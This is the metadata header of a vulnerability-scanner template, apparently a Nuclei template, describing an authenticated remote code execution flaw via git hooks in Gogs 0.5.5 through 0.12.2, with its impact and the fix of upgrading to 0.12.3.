info:
  name: Gogs 0.5.5 - 0.12.2 - Remote Code Execution
  author: theamanrawat
  severity: high
  description: |
    Gogs 0.5.5 through 0.12.2 is susceptible to authenticated remote code execution via the git hooks functionality. There can be a privilege escalation if access to this feature is granted to a user who does not have administrative privileges. NOTE: Since this is mentioned in the documentation but not in the UI, it could be considered a "product UI does not warn user of unsafe actions" issue.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade Gogs to a version that is not affected by the vulnerability (0.12.3 or later).
